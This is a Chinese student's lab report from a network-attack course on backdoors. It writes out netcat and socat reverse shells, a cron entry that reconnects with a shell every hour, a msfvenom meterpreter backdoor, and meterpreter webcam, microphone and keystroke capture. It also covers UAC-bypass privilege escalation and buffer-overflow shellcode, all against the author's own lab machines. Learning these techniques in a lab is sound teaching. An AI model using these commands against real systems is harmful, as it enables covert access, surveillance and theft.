2019-2020-2 20174313张博《网络对抗技术》Exp2-后门原理与实践

一、实验名称

        后门原理与实践。 


 

二、实验目的与要求

    ·掌握后门的概念,知道常见的后门种类,深入理解后门的运作原理。

    ·掌握几种常见的后门工具,学会利用后门工具进行一些简单操作。

    ·增强信息安全意识,认识到后门的危害性,提高对后门的防范意识。 


 

三、实验原理

    3.1 后门的概念

    后门是指绕过安全控制而获取对程序或系统访问权的方法,通过它可以绕过正常的认证途径获取对系统的访问。

    对于攻击方,要使用后门入侵一台目标主机或服务器,首先得有一个拥有后门功能的攻击程序,这类程序有很多,包括 netcat系列、meterpreter、intersect和Windows Update等;然后要想方设法把后门程序放到目标系统中,可以通过U盘直接拷贝、钓鱼网站、攻击并绑定到正版软件中、发送邮件和暴力攻击等手段,把后门放进目标系统中;接下来要想让后门起作用,就要先把后门运行起来,对此可以设置开机自启动、定时启动任务、关联启动等方式,这些都可以让后门程序在目标系统中运行起来,这样可以在目标主机中执行后门权限中的所有操作。为了让后门可持续性使用,需要免于被杀毒软件清除掉(恶意代码免杀技术),还要保证连接的稳定性以免被防火墙拦截(隧道技术、加密连接、反弹式连接)。

    3.2 后门程序

    3.2.1 nc

    (一)又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,小巧精致,面世已久,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统(苹果电脑使用的)往往自带nc,Windows系统则需要自行下载,如果之前没有下载过的话。下载地址还是本课程在码云上的资料站: https://gitee.com/wildlinux/NetSec/attach_files ,从中可以找到ncat.rar,直接点击下载然后解压即可使用。

    如上图所示,点击右侧蓝色的下载链接即可下载。ncat.rar和socat.rar都是本实验要用到的,需要提前在Windows主机上准备好。

    (二)下面是关于nc工具的一些使用介绍。

    计划是在Windows主机和kali虚拟机之间进行ncat的使用练习,首先分别探知一下两台机器的IP地址。

    在Windows机器中,在命令行输入ipconfig查询。

    上图红框所示即Windows机器的IP地址:192.168.1.100

    在kali中,可以在命令行输入ip add来查询IP地址。

    上图红框所示部分即为我kali的IP地址:192.168.159.130

    关于ncat工具的使用,有一篇文章进行了较为深入的讲解,参见https://www.oschina.net/translate/linux-netcat-command?cmp&p=1

    ·在Windows中获取kali的命令行。

    首先在Windows中找到ncat工具的安装路径。

    通常我们进入Windows的命令行,默认的路径是当前登录该系统的用户文件夹,比如我的用户名是10983,那么我一开始进入命令行,就是进入了该用户文件夹。我的ncat工具存放在桌面上,我通过dir命令查看当前目录下所有的文件及子目录,看到桌面的名称是Desktop,所以就通过cd Desktop\ncat命令进入桌面上的ncat文件夹,然后执行命令ncat.exe -l -p 4313,在Windows上建立一台ncat服务器,-l表示监听,-p用于指定端口,指定的是4313这个端口,监听前要确定该端口未被占用。也可以不用进入ncat文件夹,但在执行命令时要加上ncat.exe的完整路径。相较之下还是先进入ncat文件夹比较合适。

    在Win上开启监听后,在kali命令行中输入nc 192.168.1.100 4313 -e /bin/sh,这里填写的IP地址是Windows的。此时kali的角色就相当于客户端,向192.168.1.100(Windows主机的IP地址)的4313端口发起了连接请求,后面的参数表示当它连接成功时执行/bin/bash,也就是调用命令行。这是一种反向连接,反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,Windows调用kali的命令行,即服务器使用的是由客户端提供的服务。

    上图是在kali中发出连接申请后的情形。

    上图是连接建立后,在Windows上调用kali命令行的情形,我依次输入了4条指令,可以看到输出都是符合预期的。

    结束连接的话,在任意一方都可以结束,在kali一端的话,在命令行中按下ctrl+c,即可以断开连接,如下图所示:

    如上图所示,断开连接后,双方的命令行都回归了初始的输入状态。

    以此为例,如果能偷偷建立起这样一条连接的话,那么服务器端就可以肆无忌惮地入侵客户端的系统,还可以想办法提权以获取系统最高权限进而为所欲为。

    ·在kali中获取Windows的命令行。

    这一步和上一步的操作是类似的,区别只是把Windows和kali的角色互换了,在这里是把kali当作一个服务器,把Windows当作一个客户端,同样是建立起一个反向连接,服务器kali获取客户端Windows的服务。

    首先在kali中输入nc -l -p 4313,建立一台服务器用于监听4313端口。监听后的情形如下图所示,暂时不会有更多提示了。

    在Windows中输入ncat.exe -e cmd.exe 192.168.159.130 4313,连接Windows的4313端口,同时示意在连接建立后开启cmd.exe,这正是Windows的命令行。

    上图是在Windows中发出连接请求后的情形。

    如上图所示,在Windows发出连接请求后,kali这边输入命令行后原本空荡荡的命令行也出现了Windows命令行的提示符,并且路径也正是和Windows命令行的当前路径是一样的,都是在ncat文件夹下。我们可以在这里进行一些测试,比如dir命令,结果如下。

    这样Windows主机桌面ncat文件夹里面的文件和目录就都显示出来了。dir原本不是kali中的命令,不会在kali中得到执行,但一旦我们调用了Windows的shell,就可以用Windows的cmd命令了。再测试一个命令:ipconfig

    上图红框所示部分即为ipconfig查询到的IP地址,从中可以看出,虽然是在kali中执行的查询IP地址的命令,但是由于查询环境是Windows的命令行,所以查到的IP地址还是Windows主机的IP地址:192.168.1.100,而不是kali的。

    如上图所示,在kali中输入exit,就退出了正在调用的Windows命令行,连接断开,Windows和kali双方的命令行都恢复了正常的待输入状态。

    ·为Windows和kali建立实时通信连接。

 

    在Windows命令行输入ncat.exe -l 4313,启动ncat服务器监听4313端口。同时在kali命令行输入nc 192.168.1.100 4313,这里填的是Windows的IP地址及其监听的端口号,以此连接到Windows主机的4313端口。

 

    在连接建立过后,双方就可以在各自的命令行进行对话了。如上图所示,kali在上面,Windows在kali下面,一方发出来的信息,都可以被另一方及时接收到。

    ·Windows向kali传文件。

    首先在接收方也就是kali侦听指定端口,然后将一个指定的文件发送出去,这个文件必须首先存在,命令为:nc -l -p 4313 > 4313.txt,文件名没有加地址前缀,要求必须存放在当前目录下。然后在发送方也就是Windows端,向接收方的地址(kali的IP地址和侦听的端口号)发送文件,命令是:ncat 192.168.159.130 4313 <  4313.txt。这个命令一经执行,当前目录下就出现了一个名为4313.txt的空白文件,然后随着传输的进行这个文件会被逐渐填满变得和发送方发送的文件一模一样。

    上图是发送方要发送的文件的示意图,可以看出这是一个txt文件,里面内容如上,存放在桌面的ncat文件夹里。

    上图是在kali接收文件的示意图,可以看出文件已被成功接收。

    ·从kali向Windows发送文件。

    先是在Windows上侦听指定端口,比如4313,将收到的数据存储在一个指定的文件中,命令是ncat -l -p 4313 >4313.txt。然后在kali中将文件发送到Windows上,地址是Windows的ncat服务器侦听端口,命令是:nc 192.168.1.100 4313 < 4313.txt

    上图是kali发送文件的示意图,可以看出文件内容、文件名等信息。待传送的文件名是什么,那么传文件命令中的文件名参数就得是什么。

    上图是在Windows中的接收文件的截图,这个命令里面的文件名参数是自拟的,自己定好之后,当前目录下就会出现一个空白文件,这个文件的名字就是命令中指定的那个。上图中命令行里有两个文件接收命令,两个都可以用,区别只是文件名参数不同,只要连接是通着的,那么在当前目录下就可以收到两个内容相同但文件名不同的txt文件。在上图中我验证了43131.txt这个文件,其内容和kali传过来的文件是一模一样的,说明传送成功了。由于双方的连接一直没有断开,我就在Windows的命令行这边按下了ctrl+c,以结束连接。由上图可看出命令下面都有一个提示符,那就是按下结束连接的按键时提示的。如果连接一直不断开的话,什么时候结束连接,就看接收方的文件大小吧,如果大小和发送方发送的文件大小一模一样的话,那十有八九就是已经完全接收了。

   3.2.2 Meterpreter

    Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,meterpreter的常用命令、脚本及使用方式包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。本实验用这个东西只是一种比较肤浅的使用,简单输入命令的那种,没有复杂的设计过程。详细介绍可见https://xz.aliyun.com/t/2536,这里不作过多摘抄,后面有实验内容会涉及。


 

四、实验内容

4.1 使用netcat获取主机操作Shell,cron启动

    前面在介绍nc工具时进行过简单的获取主机操作Shell,这里会完成该操作的进阶版本,即定时自动连接,这样就不用手动连接了,也就更像一个后门该有的样子了。

    首先在kali中输入crontab -e,然后选择第三个编辑器进入编辑,这次选过之后,以后就默认是这个了。之后就可以添加定时任务。

    进入编辑界面后,按下a键,此时可以开始编辑,此时在最下面一行添加这样内容:43 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh。星号代表运行时间,分别是 :分、时、日、月、每周七天中的某天。星号代表任意值,都是星号的话也就是说,任意年,任意月,任意时,任意分,任意日,都执行后接的命令。时间格式如下:

    如上图所示,在编辑界面的最后一行添加如上信息,表示在每小时的43分钟都会连接到IP地址为192.168.1.100的主机的4313端口,让他(Windows)调用自己(kali)的命令行,这正是一个典型的反弹连接。这条命令能够成功执行的前提是,Windows主机已经建立了一个侦听自己4313端口的ncat服务器。毕竟连接是双向的,一方发出了申请,另一方连门都不开的话,这样肯定建立不了连接。

    编辑完成后,按下键盘左上角的Esc,紧接着直接输入:wq,然后回车,就可以保存退出了。这样就完成了新的定时任务的添加。等定时任务快开始时,就在Windows的命令行输入ncat.exe -l -p 4313,这代表Windows开启了一个ncat服务器,随时监听4313端口,一旦收到连接请求就可以考虑同意建立连接。这样,当时间一到,kali的定时任务开始执行后,kali就会反弹连接Windows主机,这时候Windows主机刚好在监听,那么建立连接就是水到渠成的事了。这里最好实时验证,也就是刚添加完定时任务就立刻验证,所以定时的时间最好是几分钟后。如果时间久了,比如第二天再想来验证一下能不能建立连接,这时候Windows的IP地址可能就发生了改变,kali的定时任务即使执行了,也会因为苦于找不到目的地而失败。要想成功,就得根据Windows的最新IP地址修改kali的定时任务。所以为避免麻烦还是实时验证实时截图比较好。这和之前介绍ncat工具时做的反弹连接是类似的,连接建立成功的截图都是一样的,只不过kali的反弹连接请求由自己手动发出改为系统定时发出了。

    在每小时的第43分钟后(上图所示为第44分钟),kali已经向计划任务中指定的那个IP地址的指定端口发起了连接请求,在Windows这边,如上图所示,提前准备好监听,等时间一到自然就连接上了。此时输入kali指令ls,输出结果是符合预期的。

4.2 使用socat获取主机操作Shell, 任务计划启动

    在Windows主机上按下win+r,输入compmgmt.msc唤出计算机管理界面,在这里创建一个新的定时任务。

    上图就是本地计算机管理界面,先后点击上图中第1、2个红框,创建任务。

    在创建任务界面,一共要填够三大项内容,分别是上图所标示的1、2、3三部分。在第1部分填写一个便于识别的用户名称,其他默认即可。

    在第2部分选择新建一个触发器,无论如何能够让任务触发即可,这一部分设置灵活性较高。我选择按预定计划开始,时间就设在执行这一步操作的不久之后,以便于随做随验证。其他设置默认即可。

    触发器设置好以后,会有上图所示的信息。接下来进行第3步,新建一个操作。

    这里是使用socat工具获取Windows主机的Shell,所以在程序或脚本这一项需要填写socat工具的路径,具体到socat.exe这个应用程序,这是需要事先下载好的,前文有提到过。在参数方面,需要填tcp-listen:4313 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4313,同时把cmd.exe的stderr重定向到stdout上。


    这样就添加了一个新的任务计划程序,并且从上图红框可以看出它正处于准备就绪状态,到点就开始运行了,即使错过了定时的时间点,也可以直接右键单击该任务然后选择执行,这样可以随时执行。


    上图即是运行状态下的新任务。开始运行后,Windows会弹出一个命令行窗口,让它开着不要关闭。此时在kali中输入socat - tcp:192.168.1.100:4313,通过socat方式连接Windows主机的tcp4313端口。

    如上所示,双方通过socat成功建立起了连接,kali调用了Windows主机的Shell,并且这个Shell当前所在的目录是一个系统文件夹,我们用dir命令来查看一下的话,可以发现有海量的文件和文件夹。

 

    在当前页面按下ctrl+c,可以断开socat连接。不用这个连接后,可以回到任务程序计划库,将正在运行的任务关闭,让其回归就绪状态,如下所示:


 

4.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    在kali中运行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 -f exe > 20174313_backdoor.exe,IP地址填kali的,该命令执行成功后,会生成一个后门可执行程序:20174313_backdoor.exe,文件名是自拟的,文件后缀是前面参数f设定好的。文件成功生成的截图如下:

    由上图可知这个可执行文件大小约为73KB,然后,在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4313 > 20174313_backdoor.exe,这样被控主机也就是Windows主机就进入了接收文件模式,在kali中执行命令nc 192.168.1.100 4313 < 20174313_backdoor.exe,IP地址填Windows主机的,将刚刚生成的文件从kali发送到Windows主机。


 

    上图红框所示即为Windows主机从kali那里刚刚接收到的后门文件。我在接收文件的时候,发现无论是Windows还是kali端,命令行都是处于刚刚输入完命令的样子,没有新的提示,也不知道文件传完了没有。我就在Windows端的ncat文件夹里隔段时间刷新一下看20174313_backdoor.exe文件的大小,因为在kali中已经获悉了该文件的具体大小,那么只要在Windows中看到这个文件的大小已经够了,那就可以用ctrl+c中断连接了。

    下面在kali中输入msfconsole,进入MSF控制台。

 

    上图选自码云本课程的后门实践讲义,详细介绍了在MSF上打开监听的步骤。

    进入控制台后,输入use exploit/multi/handler,使用监听模块;然后输入set payload windows/meterpreter/reverse_tcp,使用指定的payload,它与生成后门程序时使用的payload必须是一样的;生成后门程序是使用的IP地址和端口号,也都要和刚刚生成后门程序时的一致

    如上图所示,在命令行中一直输入命令直到exploit,此时kali试图建立一个针对本机4313端口的反向TCP连接。接下来需要在Windows上运行一下刚刚从kali那里接收到的后门程序,运行时可能会被杀毒软件提示有问题,这里毫无疑问是选择信任自己而不是杀软。

 

 

    我的这次运行被联想电脑管家拦截住了,我在杀软里选择信任该程序,然后再次运行,此时Windows端会主动连接kali,连接成功后,kali这边就获得了Windows的命令行。

    此时就可以在kali端操作Windows端了,比如,在这里输入dir命令,查看此时Windows端命令行所在的目录下都有哪些目录和文件。

    如上图所示,这对于一个指定目录下的全部内容来说相当于是被彻查了户口, 包括权限、大小、类型、最后修改时间还有文件名。

4.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权.

    以下都是在kali上针对Windows端的后门操作。

    ·获取音频。

    输入record_mic,获取Windows主机所处的物理环境下的一段声音。获取完成的音频会被存储在一个指定的路径,我们找到这个路径,果然发现了刚刚录的音频。它还有好多厉害的参数,参见这里

 

    ·获取摄像头。

 

    输入webcam_snap,调用Windows端的摄像头拍个照然后存储在一个指定的路径。拍完之后照片会直接显示出来,还可以找到这个路径,把照片拖到Windows端的桌面上,在Windows上照样可以查看。

 

    ·获取击键记录。

     keyscan_start作用是打开键盘记录,keyscan_stop是结束键盘记录,keyscan_dump是导出键盘记录。

    上图红线强调的部分即为从打开键盘记录后到导出键盘记录之间我所敲打过的按键都有哪些。

    ·获取截屏。

    输入screenshot,获取Windows端的实时屏幕截图,同时也有截图的存储路径。


    ·提权通过后门入侵到目标系统,攻击者往往会想方设法提高自己入侵身份的权限,提到最高权限最好,那样可以在被入侵的系统中执行任意操作,真的就是做到了为所欲为。在Windows10中,由于UAC(User Account Control,用户账户控制)更新得比较先进,所以简单的一条提权指令是不能成功执行的,会给出失败提示,riv_elevate_getsystem:Operation failed: The environment is incorrect. The following was attempted:[-] Named Pipe Impersonation (In Memory/Admin)[-] Named Pipe Impersonation (Dropper/Admin)[-] Token Duplication (In Memory/Admin)。放进百度翻译,大意是说环境不正确,提权指令riv_elevate_getsystem失败,哪些操作失败了呢?有三个操作,分别是上面三个减号后面的东西,总之kali就是说它很努力了但还是不成功。我在完瑞同学的博客中找到了这篇博客,我从中找到了一种能够成功提权的方法。

    首先还是先输入msfconsole,进入MSF命令行,进行如下操作:

    如上图所示,

  • 输入use exploit/multi/handler,获取multi/hander模块
  • 输入use exploit/windows/local/ask。
  • 输入set payload windows/meterpreter/reverse_tcp,指定payload
  • 输入set lhost 192.168.159.130,这里填kali的IP地址。
  • 输入set filename win_update.exe
  • 输入set session 1,设定会话序号。
  • 输入options,可以查看当前在Windows/local/ask下面的设置都有哪些。

 

    以上便是先前输入的那么多命令的设置效果,这些设置都到位了。下面继续输入exploit,执行刚刚生成的win_update.exe文件。执行之前得确保杀毒软件没有开着,否则会出现类似于下面的情况。

 

    这是联想电脑管家给出的风险提示,给出提示的时候它已经中断了exe文件的执行,所以我需要在命令行中再执行一遍,也就是再输入一次exploit,下面是执行效果。

    如上图所示,这时候再输入getsystem,就会出现成功获取系统权限的提示,后面还跟了一个获取的途径。成功提权后,自然就可以执行很多普通权限下无法执行的操作。

4.5 (选做)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    首先是设置堆栈可行并且关闭地址随机化,设置完要紧接着验证一下。这样设置是为了简化实验过程,为本操作的成功执行创设条件。我们用execstack -s pwn1来设置堆栈可行,用execstack -q pwn1来验证堆栈可行有没有设置成功,看见“X 文件名”这种格式的输出就代表设置成功了;用sudo sh -c " echo 0 > /proc/sys/kernel/randomize_va_space"来关闭地址随机化,作用是往一个指定的文件里写了一个0,用more /proc/sys/kernel/randomize_va_space来验证有没有关闭成功,这一条命令的输出如果是0的话就表示关闭成功了,因为刚刚写的就是0,否则,非0的输出都表示没有关闭成功。一般都能关成功的,只要命令执行成功了。下面是我执行这些指令的经过。

 

 

    为了完成以上操作我还特意回顾了下我的实验一博客,因为我还是出现了权限不够的问题。另外需要注意一点的是这些命令应该在pwn1所在的文件夹里执行,否则就要在pwn1前面加上该文件的地址。

    下面需要做的,和实验一的第三个操作就很类似了,我们需要通过这个操作找到getShell函数的首地址。然后把首地址写入下面这段代码中:

perl -e 'print "A" x 32;print"\x**\x**\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2

    上面代码中的16进制数部分有四个星号,这四个星号加上后面的ffff(一般都是这个,不会变的,只有前四个不同的人可能会不一样),组到一起就是上面提到的首地址,这是我们要寻找的东西。如何寻找呢?大家可以回忆一下自己实验一的这部分操作是如何完成的。简单来说,是需要两个命令行窗口(确保堆栈可用和地址随机化都已经按规定设置),第一个,窗口运行自己的pwn1文件,比如在文件所在的目录下输入./pwn1。然后在第二个窗口,输入ps -ef | grep pwn1,查看pwn1的进程号,比如我的是7768,我先记下这个值。然后在当前命令行中开启gdb工具

 

    如上图所示,输入到gdb后,接下来会出现很多启动信息,不用管直到自己可用输入内容为止。gdb启动完成后,我们输入attach 7768调试进程,参数用到了刚刚查到的进程号。

    输入过上面那条指令后,命令行又会给出许多信息,照样不用管直到下一个可用输入指令的时候。

      在上图1所指的位置,输入disassemble foo,对foo函数进行反汇编,下面是得到的反汇编结果。我们找到其中的返回地址,也就是ret操作的地址,然后在上图2所指的位置,用break命令在返回地址处设置断点。

    在第一个窗口按下回车键,再回到第二个窗口输入c,运行一下直到断点。

    这时候我们继续在gdb下输入info r esp,查询esp寄存器当前的地址。这个地址加上四,就是我们要注入的地址。对我来说是0xffffd320。将其填入上面提到的Perl语言中,从前往后四个星号分别填2、0、d3。因为两个十六进制数是一个字节,并且又是小端优先的输入规则,所以是这样一个输入顺序。

 

    上图是反弹连接建立成功的结果截图。如上图左端所示,下面第一个蓝色星号表示开始建立反弹连接,当右边界面的命令行执行过(cat input13;cat) | ./pwn1(input13perl语言执行过后生成的文件,我们要把它注入到pwn1文件中去后,并且回车了以后(得2次回车,不要因为1次回车没有效果就推倒重来),上图左端才会出现第二个蓝色星号部分,表示连接会话session 1已经打开,后面附上了通信双方的IP+端口号以及连接建立的时间。

    上图是我在连接成功后做的测试,测试端在左边的命令行中,我先后输入了两条指令,都得到了符合预期的结果。我开启了两个命令行窗口,这种反弹连接的效果,相当于是左边的命令行调用了右边的命令行,能够获悉右边用户的状态、信息。 

 五、实验感想和思考

(1)例举你能想到的一个后门进入到你系统中的可能方式?

    访问的网页遭受了攻击,该网页被修改成可用自动触发一个新的标签页,这个页面的尺寸是0,相当于是已经打开了但是自己不知道,这个新页面可以利用浏览器漏洞不经用户同意就下载东西,比如后门。这样,一个后门程序就神不知鬼不觉地进了自己的电脑中,而在这个过程中自己完全不知情。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

    定时任务启动,这也正是本实验做过的内容,Windows里有任务计划程序库可以添加新的定时任务,在kali中可用通过crontab编辑添加新的定时任务。这样的话,后门就可用到时自动启动。其他方式还有开机自启动,绑定到正常程序中随正常程序的启动而启动,或者干脆伪装成一个常用的程序,用户会不小心点到它。

(3)Meterpreter有哪些给你映像深刻的功能?

    截取音频、屏幕截图、拍照和击键记录,这些都是实验做过的东西,自然印象深刻,至于提权的话,由于只是简单提了一下而没有做更多的探索,所以没有太深的感触,但有一点毫无疑问,即权限被提高到了最高的话,那就可以在系统里面为所欲为了。

(4)如何发现自己有系统有没有被安装后门?

    使用新款的流行杀毒软件监控自己的系统,被它监控不怕,因为它是好的、正规的软件。一旦有后门试图入侵本机,就会被杀软拦截查杀。比如本实验用的后门程序,全世界都知道那是个后门,所以我一启动,联想电脑管家就给我提示了。有些情况下杀软再高明也看不出来那是个后门,如果感觉自己有被监控的迹象,可以看一看任务管理器,都有哪些进程再运行,看看有没有陌生的进程,眼睛需要细到玩文字游戏的地步,比如Windows和Windwos,后门可能会这样伪装来逃避检测。还可以结合端口号进行查看,哪些端口号是自己感觉很陌生的,就有必要重点关注。无论如何,只要发现了后门,就有应对措施和解决办法,首先肯定是尽最大努力保护个人隐私,亡羊补牢为时不晚。然后想方设法根除掉后门,自己不行的话就找电脑技术更高明的人帮忙。

    本实验整体做下来,感觉在难度上比实验一简单些,只是执行一些连接指令,有参考的话还是能够很轻易做下来的。我们只是简单接触到了后门这个东西,没有学习如何开发后门,也没有掌握如何防御后门,仅仅是通过几个非常简单的后门工具做了一些基本操作,实验最大的收获还是在信息安全警惕意识方面,它让我对信息安全隐患又有了新的、更深层次的认识,脑海中知道的跟把知道的亲手做一遍是完全不同的两种操作。我对信息安全技术的敬畏之心因此而有了深化,同时我对信息安全技术的兴趣也更加浓厚了,期待以后能探索更多类似的知识!

 

posted @ 2020-03-19 08:23  20174313张博  阅读(401)  评论(0编辑  收藏  举报